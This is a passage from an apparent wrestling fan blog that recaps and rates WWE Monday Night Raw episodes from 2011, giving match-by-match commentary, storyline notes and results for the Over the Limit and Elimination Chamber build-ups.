Cole puts his disgusting foot on the table and Lawler says shut up.  That was Bret Hart and Cole is no Bret Hart.  He’s not even a Jack Swagger.  Cole runs his mouth off, talking about how no one remembers Swagger being a former world champion and the only reason Swagger was on Wrestlemania was because of Cole.  Swagger isn’t happy with this and says he’s all yours King before leaving.  Cole tries to make nice with Jerry and gets slammed down by the tie again.  On Sunday, Jerry is going to put his foot in Cole’s mouth and close it.  Cole is crying as the segment ends.

Miz is talking to Kane when Big Show comes up.  Kane leaves while Miz is still talking and the tag champs face Nexus next.

Cole is all annoyed now.

Big Show/Kane vs. Michael McGillicutty/David Otunga

 

Kane vs. McGillicutty to start us off and that goes badly for Genesis dude (NXT 2 reference if you didn’t watch the show).  Does that make Kane Nintendo Boy?  Big Show comes in and the Nexus actually manages to take him down.  Cole keeps apologizing for the tiniest things that tick Jerry off now which is a nice touch.  The non-champs work on Show’s leg as Punk runs his mouth a lot.

Show actually uses some nice leg work to get out of the hold but Otunga stops the tag.  Show gets a belly to back suplex to put both guys down and there’s the tag to Kane.  Otunga’s boots look like the ones Swagger usually wears.  Kane beats up both guys but here’s Ryan in for the…..not DQ as he doesn’t get any contact in.  Show takes him down on the floor and it’s chokeslam time.  Punk gets a kick to the back of the head and the McGillicutter ends Kane at 4:50.

Rating: C. Not bad here and nice to see a little surprise as Nexus might actually be getting a push for a change.  Nexus is never going to be as strong as they were at first but this is nice to see as instead of just standing around they actually get a few wins.  Hopefully the tag titles change hands soon though as Kane and Show can only do their unstoppable giants deal so long before it gets incredibly dull.

Truth is Miz’s latest recruit.  As long as they don’t have another match I have zero issues there.

We run down the Over the Limit card to fill in some time.

Kane and Show say the loss means nothing.  There’s a title match on Sunday against Nexus apparently.

Cena is up next and he runs into Ryder again.

Miz comes out and picks a no holds barred match.  Cena comes out to fight and is jumped by Jack Swagger, who is the opponent.

John Cena vs. Jack Swagger

 

Swagger starts off in control as Cole says this is why Swagger abandoned him.  Cena tries to fight back but Swagger takes him down and adds a leg drop.  The dueling Cena chants begin and Swagger adds a suplex.  Vader Bomb hits as we take a break.  Back and we see that Cena tried to fight back during the break on the floor but was rammed into the post.  Also Swagger got a shot in with the computer.

Back in the ring and Swagger gets a chair shot to the back and Cena is in big trouble.  Vader Bomb onto the chair gets two only as the fans are getting back into this.  Jack wedges the chair between the top and middle rope but here comes Cena.  Never mind as he gets caught in something resembling a half belly to belly/half spinebuster for two.

Ankle lock goes on but Cena rolls through and avoids a charging Swagger, sending him head first into the chair.  Cena starts the finishing sequence and with a look at Miz, the Attitude Adjustment sets up the STF for the tap out at 11:30 total.  Better match than I was expecting.

Rating: C+. Pretty decent main event here as Cena and Swagger continue to have rather solid chemistry together.  Cena gets to win a match by submission to prove that he can even though we already knew he could.  Swagger looked good out there and got to be in control the majority of the time, which is what they should have done.  Good stuff.

Miz lists off various ways he could make Cena quit on Sunday, suck as dropping Cena off the stage, slamming a camera into Cena as he’s against the stage (which he actually does, getting a big crack as it hits the stage) or he could find something under the ring to use on Cena.  Alex finds a pipe which he hands to Miz who climbs the stairs.

Miz says he won’t use any of those things because there are a million ways to beat Cena which Cena hasn’t thought of yet.  He says he’s going to find a way to make Cena quit that Cena has never seen before.  Cena looks a tiny bit worried/scared here.  Miz won’t use the pipe Sunday, but he will tonight.  Riley provides the distraction and Miz gets a shot in but Cena fights back and takes down Miz, standing tall to end the show.  Cena says Miz is going to need the million he has and a million more, because at Over the Limit Miz is going to say I Quit.  Staredown ends the show.

Overall Rating: C+. Not a bad show here as they added some stuff to the PPV as well as built up a bit of drama for it.  It still feels like a filler PPV but it’s more interesting now or at least more fleshed out.  For a go home show this was certainly adequate but it only gets my interest up for the PPV a little bit.  Good enough though.

Results

CM Punk b. Kofi Kingston – GTS

Kelly Kelly b. Brie Bella – Cradle

Rey Mysterio b. Alberto Del Rio via disqualification when Ricardo Rodriguez interfered

David Otunga/Michael McGillicutty b. Kane/Big Show – McGillicutter to Kane

John Cena b. Jack Swagger – STF




Monday Night Raw – May 9, 2011 – A Far More Energetic Show This Week

Monday Night Raw
Date: May 9, 2011
Location: Thompson-Boling Arena, Knoxville, Tennessee
Commentators: Michael Cole, Jerry Lawler, Jim Ross

We’re two weeks away from Over the Limit and unless I’m overlooking it there aren’t any matches officially made.  After the previous week’s birthday party for Rock we can finally get back to the regular stuff on Monday nights.  I’d bet on more with Miz and Cena as Miz can say he got a pinfall on Cena in a title match as a validation for another match.  Let’s get to it.

Here’s Alberto to open the show.  He says that he should be champion but Edge stole it from him.  Why did we waste so much time on Rock last week?  It should have been a celebration of the arrival of Alberto.  He says he should get the title shot so here’s Rey to offer a rebuttal.  He says Alberto will one day be Ricardo’s announcer.  Is that even an insult?  Rey wants a match tonight for the #1 contendership.

Alberto starts to talk but Miz and Riley come out to interrupt.  Miz blames Riley for losing the title last week but Alberto says that was his chance.  Miz says he got the job done but the referee was prejudiced.  He makes a Taco Bell joke which will probably get him criticized for making racial remarks because people are stupid.  Truth comes out to no music and talks about…..hospital food?

Ah apparently it’s due to Morrison having a neck injury and being out for months for neck surgery.  Truth gets in all their faces and calls Miz Kermit, Mysterio bottle-nosed and Alberto a pompous Mexican fence jumper.  “When an angry black man is talking y’all need to shut it up.”  Something about kicking dogs and cats is mentioned but long story short, Truth wants the title shot.  E-Mail says we’re going to have a triple threat match between Miz, Alberto and……we get another E-Mail to announce that the third man is Rey Mysterio.

Truth doesn’t like it and Mysterio wants Truth in the match which he says means he agrees with the GM.  Did I miss something there?  Anyway Miz says the next WWE Champion is…..but he can’t finish as Ricardo cuts him off and says Ricardo.  RICARDO DROPKICKS RILEY!!!  Miz hits the floor and Rey dives on Ricardo to end this segment as we take a break.

Bella Twins vs. Kelly Kelly/Eve Torres

 

I think that’s Brie vs. Kelly to start us off.  The Bellas double team her for two.  Apparently Cena gets to pick the stipulation for the title match at the PPV.  Kelly gets a headscissors to take down Nikki and spanks her a bit.  Small package by Brie (I think) is reversed into one by Kelly for the pin at 1:25.  We get to the point quickly as Kharma comes out.  The Bellas try to sneak off and manage to get by.  Eve tries to jump Kharma and gets left laying via a slam.  Kelly runs off and it’s an Implant buster for Eve.

Kane vs. Mason Ryan next.

Kane vs. Mason Ryan

 

Punk and Show are here with their respective people.  Ryan shoves him around with ease to start us off.  Kane fires away and knocks him into the corner but gets his head taken off with a clothesline.  We go WAY old school with an Oklahoma Stampede for two.  Punk distracts Kane so Show kills him dead with the punch.  McGillicutty and Otunga run in for the DQ at 2:14.  Double chokeslam to Ryan and the tall guys stand…..well tall.

Dolph Ziggler vs. Santino Marella

 

Dolph is all evil and orange here as he beats down Santino quickly.  After a quick beatdown Santino gets some offense in but a dropkick takes him down as he loads up the Cobra.  Zig Zag ends this in 1:40.

We actually get a Smackdown Rebound for the first time in forever.  It’s of Christian having his moment as champion and losing the title that night to Orton.

Truth is about to leave and calls conspiracy.  Apparently he’s been getting letters asking him to sing and dance again.  His eyes are bugging out of his head as he says this.  There’s a country accent thrown in and there’s no more, because that’s the Truth.  He leaves but comes back to get the interviewer to say What’s Up and then leaves.

Cena fist pumps with Ryder and heads to the ring.

We get a recap of the title match last week and Riley costing Miz the title.  Miz yells at Riley all over again.  He calls Riley a troglodyte and says he’s stupid.  Riley says he’ll make it up to Miz so watch this.

Riley walks down the hall and out into the arena.  Did Cena get lost on his way to the ring?  Riley says the only person that he cares about is the Miz.  He challenges Cena to a match and here’s the champ.

John Cena vs. Alex Riley

 

Very pro-Cena crowd tonight.  Cena takes Riley down with ease and then does it again.  A charge misses in the corner though and Riley gets a clothesline for two.  Chinlock goes on by Riley but Cena starts up his ending sequence.  A pair of AA’s as Miz comes out sets up the STF to end this at 3:12.

Rating: D. Just a squash here but Riley actually got in some offense.  Total dominance by Cena but did you really expect anything else?  I’m not sure how this proves anything to Miz but I guess Riley’s heart was in the right place.  Nothing else to say here so I’ll keep typing a bit to fill in space.

Cole announces his retirement from in ring competition.  Lawler comes in and wants a clip of the beatdown from Rock last week.  Cole talks about going into the Hall of Fame and Lawler says if Cole can beat Lawler again, he’ll give Cole his HOF ring and induct Cole into the Hall of Fame.  Cole turns it down in a bit of a surprise.

Cole gets in the Cole Mine and makes fun of Tennessee.  His mind was made up yesterday about his retirement because it was Mother’s Day.  Cole flew his mother into Texas and they watched Cole beat him at Mania.  Lawler wouldn’t be able to spend Mother’s Day with his mom because his mom died in February.  Lawler storms the Cole Mine but Swagger makes the save as we take a break.

US Title: Jack Swagger vs. Kofi Kingston

 

Technical stuff to start here as Cole imitates breaking news to say that Lawler is in pain.  Swagger gets sent to the floor but gets a shot to Kofi, sending him to the floor as we take a break.  Back with Swagger sending Kofi into the corner, only to get knocked backwards.  Running knee to the gut takes Kofi down again though.

Vader Bomb eats knees but Trouble in Paradise misses.  Top rope cross body gets two.  Kofi tries to skin the cat (why is it called that anyway?) but Swagger grabs the ankle.  Kofi tries a tornado DDT but gets shoved off and the ankle gives out.  Lawler comes out and the distraction is enough for Trouble in Paradise to end this at 8:23 total.

Rating: C. Just your standard match between these two which was fine.  They’ve wrestled each other a few hundred times now so they can probably have a passable match in their sleep.  Lawler coming down is fine as it plays into the bigger angle.  Fine for a TV match and that’s all it needed to be.

Post match Lawler sends Swagger into the post and then the crowd and goes to the Cole Mine but can’t get in.  Lawler throws a chair into the Mine but settles for reaching into the glory hole to grab the tie.  He pulls the tie, ramming Cole’s head into the wall time after time.  Cole’s face all stuck up against the wall had me dying from laughter.  Swagger says Lawler is fired but Lawler says he just touched his tie.  Swagger accepts the match for Cole which he isn’t happy with.

Video about the premiere of That’s What I Am, which apparently is being well received.

The Miz vs. Alberto Del Rio vs. Rey Mysterio

 

Winner gets Cena at Over the Limit.  No Riley with Miz.  Standard formula here as we have two guys go at it while the third is down.  The bad guys fight in the ring and Miz escapes the cross armbreaker.  Rey comes back in and gets a sunset flip for two on Del Rio.  Miz vs. Mysterio now but Del Rio breaks up the 619.  Rey gets sent to the floor by Alberto so Miz tries the Skull Crushing Finale.  That misses and a double clothesline puts everyone down as we take a break.

Back with Alberto kicking Miz back to the floor so he can work on Mysterio some more.  After more of a beating on Rey, Miz pulls the rope down to send Del Rio to the floor.  Sunset flip doesn’t hit and Rey hits a kick to the head for two.  They all go to the floor with Rey diving on Alberto to take him down.  Alberto and Rey go back into the ring and Rey speeds things up again and takes him down with a headscissors.

Miz pops back up and heads up top, only to get crotched.  Rollup gets two on Alberto.  Sweet top rope rana by Rey to Miz but he gets caught in the Codebreaker to the arm and the Cross Armbreaker.  Miz breaks it up and gets rolled up for two.  DDT gets two on Alberto.  Finale is blocked by Rey and Miz hits the floor again.  Riley comes back out to help Miz as Del Rio can’t powerbomb Rey.  619 to Alberto sets up the top rope splash but Riley makes the save.  Miz runs in with a rollup to get the pin on Rey at 13:45 total.

Rating: C+. This was your usual run of the mill triple threat match to start but at the end they cranked it up and with another 3 minutes or so this would have been very good.  Miz winning probably makes the most sense so you can’t really complain about him winning.  Good stuff here and good to see Miz keep his main event spot for the time being.

Cena picks an I Quit match for the PPV.

Back in the ring Truth pops up to lay out Mysterio to end the show.

Overall Rating: B. I liked this show a lot.  While the matches were short, a lot of stuff happened tonight and with a short amount of time before the PPV, that’s exactly what they needed here.  There are still questions about what’s coming for the PPV which makes me want to see what’s next on the show.  Good stuff all around tonight as there was an energy tonight that we haven’t had in awhile.  Much better show than the last few weeks.

Results

Kelly Kelly/Eve Torres b. Bella Twins – Small Package to Brie

Kane b. Mason Ryan via disqualification when Nexus ran in

Dolph Ziggler b. Santino Marella – Zig Zag

John Cena b. Alex Riley – STF

Kofi Kingston b. Jack Swagger – Trouble in Paradise

The Miz b. Alberto Del Rio and Rey Mysterio – Rollup to Mysterio




Monday Night Raw – January 31, 2011 – Miz is Facing WHO at the PPV?

Monday Night Raw
Date: January 31, 2011
Location: Dunkin’ Donuts Center, Providence, Rhode Island
Commentators: Michael Cole, Jerry Lawler

We’re officially on the Road to Wrestlemania now with our Royal Rumble winner being Alberto Del Rio.  Tonight he’s making his selection for an opponent at Wrestlemania.  It’ll be interesting to see if that match stands up past the Elimination Chamber but still it’s fun to see.  Also we see who is next to face Miz which appears to be Cena.  This is one of the most exciting times of the year, so let’s get to it.

Edge vs. Miz tonight and there must be a winner due to the interference last week.

Here’s Alberto for the big announcement to start the show.  He brings out a Mariachi band (King: they need more cowbell) to play Alberto’s theme song.  He comes out in a sweet 2011 Mercedes which he bought as a celebration present to himself.  Alberto says he said he’d win the Rumble and that he told us so.  Ricardo repeats individual lines that Alberto says.  He says this Mariachi band only performs for the Mexican President and him.  They’re real music, not Justin Bieber.

Alberto picks the…sera?  I’m not sure what he said but it wasn’t picking a title.  Instead here’s Miz to hear the announcement himself.  It sounded like a moderate face pop for actually.  He congratulates Alberto and says that he’ll be champion at Mania while Edge will lose in the Elimination Chamber.  Miz heard Edge talking trash about Del Rio last night, including saying the cars are rentals.  Del Rio thinks this is a ploy, but here comes Edge to a big pop.

Edge says he doesn’t like or respect Del Rio.  He wouldn’t say those things behind his back though as he’d say them to his face instead.  Edge will be champion at Mania and is the Rated R Superstar, which was said with a Spanish accent.  Del Rio picks Edge and Edge drills him.  Miz and Riley bail so Del Rio can jump Edge.  He breaks the guitar over the arm of Edge and locks on the Cross Armbreaker which has Edge tapping it seems.  Injury angle perhaps?

Nexus vs. Santino/Kozlov for the titles next.

Back and we recap the previous segment and get an E-Mail.  Tonight there’s a Raw Rumble Match.  Seven people in it and the winner gets Miz at Elimination Chamber.  The other six go into the Chamber, I’d assume for the shot at Mania but that isn’t specified.  Tonight it’s Orton vs. Punk vs. Morrison vs. R-Truth vs. Sheamus vs. Jerry Lawler vs. John Cena.  So wait, Lawler is either getting a PPV Title match or will be in the Elimination Chamber?  That’s uh…not going to go well I don’t think.

Tag Titles: Santino Marella/Vladimir Kozlov vs. Michael McGillicutty/Husky Harris

Santino vs. Michael to start.  We talk about Santino almost pulling off the miracle last night which was mind blowing for various reasons.  Michael puts him in the corner to start but misses a Stinger Splash.  Off to Vladimir now who hammers away but gets caught in the knee to shift momentum.  Santino and Husky in now with Husky actually losing for a bit.

A cross body by Santino runs into more or less a wall though and Nexus controls again.  Neckbreaker by McGillicutty gets two and Santino is sent to the floor as we take a break.  Back with Michael getting two on Santino.  Santino finally breaks the momentum and it’s off to Harris and Kozlov, who actually gets a solid pop.  Everything breaks down and Santino gets a tag.  He gets the Cobra to Harris for the pin to retain at 9:12.

Rating: C. Not bad here but more or less completely average.  The ending kind of surprised me but with Kozlov and Santino being so popular at the moment it makes no sense to not keep the belts on them.  The match itself was fine but nothing special.  Just a TV tag match and that’s all it needed to be.

As the champions leave, Orton hits the ring and it’s an RKO to McGillicutty!  He hears voices and sets to punt Harris but Punk pops up to say don’t do it.  Otunga, Ryan and Punk stand on the stage as Orton is waiting in the ring.  It should be noted that Harris took the Cobra and has been down over three minutes now.  He’s on his knees with his head on the mat but hasn’t been up yet.  Now THAT is selling.

Punk says if you punt Harris there will be consequences.  After a long pause, he pulls back but then punts Harris anyway.  Orton runs through the crowd to avoid the beatdown.  Harris is out cold and that’s probably the last we’ll see of him for awhile.  Punk and Orton stare at each other as we go to a break.

Back with a clip of what we just saw and the announcers talking a bit.  Ted DiBiase and Maryse come out to criticize Jerry for hanging on too long.  Ted wants Jerry’s spot tonight.  In the jaw dropping moment of the night, MICHAEL COLE defends Jerry, saying that he’s a legend and Ted needs to chill.  Jerry says he’s been here for 18 years and has never had a match at Wrestlemania because his Road to Wrestlemania has always been under construction.  His road begins tonight with the Raw Rumble.

Ted hits him and runs so Jerry goes after him.  Ted hides behind Maryse, who slaps the heck out of Ted, likely breaking up with him.  Jerry drills him as well and is ready to fight.  Cole yells at him for trying to hog the spotlight but reminds him that Jerry can’t hit him.  I kind of hope they’re leading up to Cole vs. Lawler at Mania.

We get a video of someone walking into what looks like a shack but it’s way too dark to see.  There’s rain everywhere and you can’t see anything.  The date 2-21-11 pops up on screen, which is the day after Elimination Chamber.

Back in the arena and the Bellas are at ringside for this match.

Tyson Kidd vs. Daniel Bryan

 

No word on if this is a title match or not.  The Bellas are asked about the bet and they ask if Cole has ever seen Cruel Intentions.  If you haven’t seen it the two main characters bet that the main guy can’t sleep with a certain woman.  The Bellas are the focal point here and it’s not like it matters.  LeBell Lock ends it at 1:48.  No rating of course.  Gail and Bryan make out post match.  The Bellas come in and we get a catfight.

Edge vs. Miz is next.

Edge vs. The Miz

 

No entrances but we get big match intros.  Edge controls early with basic stuff.  Riley pulls Miz to the floor and Miz gets some shots into the arm.  Miz gets two on Edge as it occurs to me that the video could have been Sting.  Kind of fits and could set up to Mania.  I doubt it but it’s possible.  Anyway Miz throws on an armbar as we talk about the main event.  This goes on for a long time until Edge finally gets a rope for the break.

And now we’re right back to the armbar.  I love in ring psychology but there comes a point where it makes matches boring.  They both get big boots and both men are down.  Edge gets a flapjack with the bad arm and stays down for a bit because of it.  See, that’s how you sell an injury: have it affect your match.  Sunset flip gets two for Edge and a boot gets two for Miz.

Edgecution gets no cover as Edge sets for the spear.  Riley sends him into the buckle and….here’s Cena.  He’s up in the guest box and starts a “Miz is awful” chant.  That’s enough for the spear to end Miz at 8:50.  Cole calls Edge and Cena buddies.  I love the total lack of continuity in WWE.  Cole helps Miz out and yells at Riley about Cena.

Rating: D+. This was rather boring and that’s mainly due to the armbars.  They make perfect sense but at the same time they’re boring.  Cena getting involved makes perfect sense though and it doesn’t make Miz look that bad since he had Edge beat.  This was ok but it dragged way too much to give it a solid grade.

Steve Austin will be hosting Tough Enough.  Yeah that might get them some ratings.

Here’s Vickie to say that Edge’s title is in trouble as Edge will defend the title in a way that it has never been defended before.  It’s not specified what though.

Natalya/Eve Torres vs. Laycool

 

We get a clip of Laycool making up for their blunder last night.  Natalya vs. McCool to start.  Layla comes in and hides from Nattie.  She picks Layla up but can’t hold onto her.  Laycool hug and it’s back to the beating.  Off to the new champion who flat out rocks those gold shorts.  She however does not rock in the ring as this is looking bad already.  Standing moonsault gets two.  Michelle kicks Eve in the corner and DIAMOND DUST (called the Facelift) here by Layla ends Eve at 2:45.  No rating for a glorified comedy match but that ending was great.

Usos vs. Great Khali/Mark Henry

 

Khali dances a bit.  Matthews is out to replace King who is getting ready.  Josh: “Khali and Henry combine to weigh nearly 1000 pounds.  That’s as much as a mini-Cooper or the chick from Precious.”  The GM says that the Usos have no chance so this is now a dance off.  I like the brutal honesty there.

You know what?  I really like the brutal honesty there.  “This match is going to suck and we’re not going to waste your time with it.  Here’s something that’ll likely get a nice reaction.”  Cole dances too and the Usos are nothing special.  Take a wild guess who wins here.  The Usos wind up taking the monster finishers.

The 2-21-11 thing plays again.  That looks A LOT like Sting’s coat.

It’s the world premiere of the trailer for The Chaperone, which is HHH’s new movie.  HHH is a dad just out of prison that is trying to get to know his daughter again.  He acts as a chaperone on a field trip but is followed by some people that know him from his life of crime.  It’s an action-comedy but they seem to have a real problem figuring out which it wants to be rather than a hybrid.

Raw Rumble

 

This is a regular Royal Rumble but with only seven guys.  Morrison is first and we see the routine he did to get back into the ring last night.  That’s just insane.  He’ll be joined by Sheamus to start.  It’s over the top for eliminations.  We take a break before we start though.  Back and we’re told it’s Laycool/Ziggler vs. Kelly/Edge and the title is on the line.  Whoa.

90 second intervals here.  Morrison works the arm and tries to put Morrison out.  That gets him nowhere but the Irish Curse does.  He hits it as Cena is in at #3.  Cena puts Sheamus down and tries the FU on Morrison.  Naturally Morrison flips out of it and hits an enziguri to Cena and takes over.  Punk is the fourth man in.  Clothesline and bulldog in the corner to Cena puts him down.  All Punk so far.  Everyone is back up now and we pair off with Morrison/Punk and Cena/Sheamus.  Belly to belly puts Sheamus down.

Number five is R-Truth.  He takes down Cena and tosses Morrison over.  Morrison holds on and pulls Truth with him.  They both skin the cat (who thought that was a good name for it?) but Truth messes his up and looks like he’s a fish out of water.  FU is blocked on Punk and the next to last guy is Lawler.

Lawler puts everyone down and almost gets Punk out.  Sheamus saves him for some reason.  Wouldn’t he want Punk out?  Sheamus almost puts Lawler out but can’t quite do it.  Orton is last and Punk hides under the ring.  Orton I guess realized it as he goes under the ring.  He hasn’t been in the ring yet.  There’s Punk and the beating is on.  Both are back in the ring now and we’ve had no eliminations to this point.

Clothesline puts Punk out but Truth sneaks up on Randy and he’s out too!  Down to five as we take a break.  Back with the same five still in.  Cena wakes up and tries a double FU on Truth and Morrison.  He dumps Truth but Morrison hangs on.  Morrison pulls Cena to the apron and they slug it out with some great teases.  Sheamus charges but misses.  All three are on the apron here and only Lawler is left in the ring.  He’s down though.

Sheamus is back in as is Cena.  Morrison is still on the apron and tries to suplex Sheamus out.  He gets him up a few times but can’t slide in between the legs.  Sheamus drills him and he falls backwards but hangs on BY HIS FEET and does a sit up to get back in.  This man is not human.  He can’t be.  Morrison tries to get rid of Sheamus but can’t get him over.

Slingshot shoulder half kills Morrison and Cena grabs the STFU on Sheamus.  Morrison goes for Starship Pain and TOTALLY misses it.  That was sad looking.  Lawler tries to throw him out but Morrison gets his hands out and again saves himself.  Flash Kick puts Cena down and Morrison goes for Sheamus again.  This time though Morrison is sent to the apron and the Brogue Kick puts him out.

Lawler gets a dropkick to Cena the the former rapper is in trouble.  Sheamus breaks it up and has Cena reeling.  For no apparent reason he didn’t shove them both out but whatever.  Lawler comes after Sheamus again but Sheamus ducks and Lawler puts out Cena!  They look at each other and Sheamus tries a Brogue Kick.  Cena pulls the rope down and Lawler ducks.  Sheamus goes over and Lawler is the #1 contender at 15:20!

Rating: B-. Morrison is by far and away the highlight here as you would expect him to be.  The match itself was a decent battle royal with some good spots.  Lawler winning was kind of predictable but if they’re going to put him in this spot he had to win here as he couldn’t be in the Chamber.  Either way, not bad at all and it worked pretty well I thought.  Match of the night by far which isn’t saying much.

Overall Rating: C-. This wasn’t the worst Raw I’ve ever seen by far but it was really pretty boring.  Lawler was more or less the main focus here.  Not a lot was set up but we do know the two big Raw matches which is the main point I suppose.  The main event helped a bit but it definitely didn’t save the show.  Decent show but a letdown from the previous few weeks.  Until two weeks from now.

Results

Santino Marella/Vladimir Kozlov b. Michael McGillicutty/Husky Harris – Cobra to McGillicutty

Daniel Bryan b. Tyson Kidd – LeBell Lock

Great Khali/Mark Henry b. The Usos in a Dance Off

Jerry Lawler won the Raw Rumble